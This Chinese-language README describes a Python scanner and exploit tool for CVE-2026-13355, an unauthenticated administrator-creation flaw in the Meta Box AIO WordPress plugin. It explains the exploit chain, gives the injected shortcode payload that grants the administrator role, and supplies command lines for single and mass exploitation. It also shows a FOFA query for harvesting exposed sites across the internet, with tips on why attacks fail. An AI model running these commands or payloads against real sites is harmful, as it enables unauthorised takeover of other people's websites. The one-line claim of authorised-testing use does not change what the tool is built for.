CVE-2026-13355 — Meta Box AIO 未认证管理员权限提升

针对 WordPress 插件包 Meta Box AIO（以及相关的 MB Frontend Submission / MB User Profile 扩展）中 CVE-2026-13355 的 Python 3 概念验证扫描器与漏洞利用工具。

概述

两个捆绑扩展中的链式缺陷允许未认证创建管理员账户：

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id 在未授权的情况下覆盖表单目标；Form::process() 省略了 user_can_edit()，因此攻击者可以调用 wp_update_post() 并覆盖任意文章/页面上的 post_content。
2. MB User Profile (mbup) — 注入的 [mb_user_profile_register role="administrator" auto_login="true"] 短代码属性在未经角色验证的情况下被信任。

重要提示： 该利用链需要一个公开的 mbfs（前端提交）表单，而非仅限登录的 mbup 表单。许多 FOFA 命中仅暴露 mbup 登录/注册界面——这些被标记为 plugin_mbup_only，无法通过此链利用。

环境要求

• Python 3.8+
• pip install -r requirements.txt

快速开始

pip install -r requirements.txt

# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check

# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → 目标列表

示例查询：

body="/wp-content/plugins/meta-box-aio/"

规范化 FOFA CSV 导出：

python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20

CLI 选项

输出文件

在利用运行时使用 --vuln-list exploited.txt，以免 hits.txt 中的检查命中被覆盖。

检查 status 值

利用说明

• 投毒步骤通过带有 ?rwmb_frontend_field_object_id=<id> 的 mbfs 表单 POST post_content。
• 成功需要注入的短代码在被投毒页面上渲染（无 strip/KSES、插件已修补、表单类型错误）。
• 联系/新闻通讯 mbfs 表单通常缺少真实的 post_content 字段；实际中覆盖可能仍然失败。
• POST 时出现 HTTP 403 通常表示 WAF/主机拦截。

仓库结构

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

本地扫描列表和运行产物（list.txt、fofa*.csv、*.jsonl、hits*.txt 等）位于 .gitignore 中，不应提交。

参考资料

• NVD — CVE-2026-13355
• Wordfence 公告
• Meta Box AIO 更新日志

法律声明

仅供授权安全测试与教育使用。您有责任遵守适用法律和项目规则。